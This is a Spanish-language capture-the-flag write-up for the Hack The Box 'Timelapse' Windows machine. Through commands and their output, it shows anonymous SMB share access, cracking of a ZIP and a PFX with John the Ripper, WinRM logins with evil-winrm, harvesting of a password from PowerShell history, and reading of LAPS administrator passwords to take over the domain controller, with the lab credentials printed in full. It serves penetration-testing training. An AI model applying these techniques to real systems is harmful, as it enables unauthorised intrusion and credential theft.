Timelapse

Publicado: 23 de Mayo de 2025 Autor: Josรฉ Miguel Romero aKa x3m1Sec Dificultad: โญ Easy OS: Windows
๐ Descripciรณn
Timelapse es una mรกquina Windows de dificultad Easy que presenta un escenario tรญpico de Active Directory. La escalada de privilegios se basa en la explotaciรณn de archivos de respaldo que contienen certificados, el abuso de credenciales almacenadas en el historial de PowerShell, y finalmente la explotaciรณn de LAPS (Local Administrator Password Solution) para obtener acceso administrativo completo al Domain Controller.
Puntos clave de aprendizaje:
๐ Enumeraciรณn de recursos compartidos SMB sin credenciales
๐ Crackeo de archivos ZIP y certificados PFX protegidos por contraseรฑa
๐ซ Autenticaciรณn con certificados en WinRM over HTTPS
๐ Anรกlisis del historial de PowerShell para obtenciรณn de credenciales
๐ Explotaciรณn de LAPS para escalada de privilegios
๐ฏ Resumen
Vector de entrada
Recursos compartidos SMB con acceso anรณnimo
Escalada inicial
Certificado PFX crackeado para autenticaciรณn WinRM
Movimiento lateral
Credenciales en historial PowerShell
Escalada final
Abuso de permisos LAPS
Impacto
Compromiso total del Domain Controller
๐ญ Reconocimiento
๐ Ping para verificaciรณn en base a TTL
โฏ ping -c2 10.10.11.152
PING 10.10.11.152 (10.10.11.152) 56(84) bytes of data.
64 bytes from 10.10.11.152: icmp_seq=1 ttl=127 time=72.2 ms
64 bytes from 10.10.11.152: icmp_seq=2 ttl=127 time=43.6 ms
--- 10.10.11.152 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1011ms
rtt min/avg/max/mdev = 43.614/57.930/72.246/14.316 ms
๐ก Nota: El TTL cercano a 128 sugiere que probablemente sea una mรกquina Windows.
๐ Escaneo de puertos
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.152 | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//)
echo $ports
53,88,135,139,389,445,464,593,636,3268,3269,5986,9389,49667,49673,49674,49695,49727
๐ฌ Enumeraciรณn de servicios
nmap -sC -sV -p$ports 10.10.11.152 -oN services.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-23 08:47 CEST
Nmap scan report for 10.10.11.152
Host is up (0.057s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-06-23 14:47:42Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ldapssl?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
3269/tcp open globalcatLDAPssl?
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| tls-alpn:
|_ http/1.1
|_http-title: Not Found
|_ssl-date: 2025-06-23T14:49:13+00:00; +8h00m01s from scanner time.
| ssl-cert: Subject: commonName=dc01.timelapse.htb
| Not valid before: 2021-10-25T14:05:29
|_Not valid after: 2022-10-25T14:25:29
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49695/tcp open msrpc Microsoft Windows RPC
49727/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-06-23T14:48:32
|_ start_date: N/A
|_clock-skew: mean: 8h00m00s, deviation: 0s, median: 7h59m59s
๐ฏ Anรกlisis de servicios identificados
53
DNS
Servidor DNS del dominio
88
Kerberos
Autenticaciรณn del dominio
389/636
LDAP/LDAPS
Active Directory
445
SMB
Recursos compartidos
5986
WinRM HTTPS
Administraciรณn remota segura
โ ๏ธ Importante: Debemos aรฑadir el siguiente vhost a nuestro fichero /etc/hosts
echo "10.10.11.152 timelapse.htb" | sudo tee -a /etc/hosts
๐ช Acceso Inicial
๐ Enumeraciรณn SMB
Dado que no disponemos de credenciales, tratamos de enumerar este servicio mediante una sesiรณn nula:
smbclient -N -L //10.10.11.152
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
Shares Disk
SYSVOL Disk Logon server share
๐ Exploraciรณn del recurso "Shares"
smbclient -N \\\\10.10.11.152\\Shares
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Mon Oct 25 17:39:15 2021
.. D 0 Mon Oct 25 17:39:15 2021
Dev D 0 Mon Oct 25 21:40:06 2021
HelpDesk D 0 Mon Oct 25 17:48:42 2021
๐ฅ Descarga de archivos interesantes
Encontramos un par de directorios que contienen recursos interesantes que descargaremos:
~/Timelapse/SMB โฏ tree
.
โโโ Dev
โ โโโ winrm_backup.zip
โโโ HelpDesk
โโโ LAPS.x64.msi
โโโ LAPS_Datasheet.docx
โโโ LAPS_OperationsGuide.docx
โโโ LAPS_TechnicalSpecification.docx
3 directories, 5 files
๐ Crackeo de Archivos Protegidos
๐ค Anรกlisis del archivo ZIP protegido
El archivo winrm_backup.zip
requiere contraseรฑa:
unzip winrm_backup.zip
Archive: winrm_backup.zip
[winrm_backup.zip] legacyy_dev_auth.pfx password:
โก Crackeo con John the Ripper
Utilizamos zip2john
para extraer el hash y crackearlo:
zip2john winrm_backup.zip > hash_zip.txt
ver 2.0 efh 5455 efh 7875 winrm_backup.zip/legacyy_dev_auth.pfx PKZIP Encr: TS_chk, cmplen=2405, decmplen=2555, crc=12EC5683 ts=72AA cs=72aa type=8
john hash_zip.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
supremelegacy (winrm_backup.zip/legacyy_dev_auth.pfx)
1g 0:00:00:00 DONE (2025-06-23 09:03) 3.448g/s 11977Kp/s 11977Kc/s 11977KC/s suzyqzb..superkebab
๐ Credencial obtenida: supremelegacy
๐ซ Crackeo del certificado PFX
Al descomprimir el ZIP obtenemos un certificado PFX que tambiรฉn requiere contraseรฑa:
Usamos la herramienta pfx2john para obtener su hash y crackearlo:
pfx2john legacyy_dev_auth.pfx > hash_pfx.txt
john hash_pfx.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 256/256 AVX2 8x])
Cost 1 (iteration count) is 2000 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 1 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
thuglegacy (legacyy_dev_auth.pfx)
1g 0:00:00:33 DONE (2025-06-23 09:15) 0.03026g/s 97813p/s 97813c/s 97813C/s thumper1990..thsco04
๐ Credencial obtenida: thuglegacy
๐ Extracciรณn de Certificados
๐ Informaciรณn del certificado
openssl pkcs12 -in legacyy_dev_auth.pfx -info
๐ Extracciรณn de la clave privada
openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out key.pem -nodes
openssl Llama a la herramienta de lรญnea de comandos OpenSSL.
pkcs12 Usa el mรณdulo para manejar archivos .pfx o .p12 (formato PKCS#12).
in legacyy_dev_auth.pfx Indica el archivo de entrada (.pfx) del cual se extraerรกn los datos.
nocerts Le dice a OpenSSL que no incluya certificados, solo la clave privada.
out key.pem Archivo de salida donde se guardarรก la clave privada extraรญda.
nodes Significa "no DES encryption", o sea, no cifrar la clave privada en el archivo de salida. Se guardarรก en texto plano.
๐ Extracciรณn del certificado pรบblico
openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out key.cert
openssl
โ Llama a la herramienta OpenSSL.pkcs12
โ Invoca el mรณdulo de OpenSSL para trabajar con archivos PKCS#12 (.pfx
,.p12
), que son contenedores de certificados y claves privadas.-in legacyy_dev_auth.pfx
โ Indica el archivo.pfx
del cual quieres obtener informaciรณn.-info
โ Muestra informaciรณn adicional y detallada del archivo PKCS#12.
๐ฏ Acceso inicial via WinRM
๐ Conexiรณn con certificados
Utilizamos evil-winrm con los certificados extraรญdos para conectarnos al puerto 5986 (WinRM HTTPS):
evil-winrm -c key.cert -k key.pem -i 10.10.11.152 -P 5986 -S
๐ Primera flag obtenida
Evil-WinRM shell v3.7
Warning: SSL enabled
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\legacyy\Documents> whoami
timelapse\legacyy
*Evil-WinRM* PS C:\Users\legacyy\Desktop> dir
Directory: C:\Users\legacyy\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 6/23/2025 7:18 AM 34 user.txt
๐ Movimiento Lateral
๐ Enumeraciรณn con WinPEAS
Transferimos y ejecutamos winPEAS.ps1 para enumerar vectores de escalada:
๐ Descubrimiento en historial PowerShell
En los resultados aparece una contraseรฑa en el histรณrico de PowerShell:
Get-Content C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -
SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
exit
๐ Credenciales obtenidas: svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV
๐ Acceso como svc_deploy
evil-winrm -i 10.10.11.152 -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S
โฌ๏ธ Escalada de Privilegios
๐ฅ Anรกlisis de pertenencia a grupos
El usuario svc_deploy
pertenece al grupo especial "LAPS Readers":

๐ฉธ Enumeraciรณn con BloodHound
Exportamos el dominio usando bloodhound-python:
bloodhound-python -c All -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' -d timelapse.htb -ns 10.10.11.152

๐ Explotaciรณn de LAPS
LAPS (Local Administrator Password Solution) almacena contraseรฑas de administradores locales en Active Directory. Como miembro del grupo "LAPS Readers", podemos leer estas contraseรฑas.
๐ฅ๏ธ Obtenciรณn de contraseรฑa del administrador
Get-ADComputer -Filter 'ObjectClass -eq "computer"' -Property *

Este comando recupera todos los objetos de equipo del AD junto con todas sus propiedades, incluyendo las contraseรฑas LAPS.
๐ Credenciales de Administrator obtenidas: Administrator:7F;mQ+XY}vJ2Eu06;Ztq94V&
๐ Acceso Administrativo Completo
๐ Conexiรณn como Administrator
evil-winrm -i 10.10.11.152 -u Administrator -p '7F;mQ+XY}vJ2Eu06;Ztq94V&' -S
Evil-WinRM shell v3.7
Warning: SSL enabled
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
timelapse\administrator
๐ Flag de root obtenida
*Evil-WinRM* PS C:\Users\TRX\Desktop> dir
Directory: C:\Users\TRX\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 6/23/2025 7:18 AM 34 root.txt
Last updated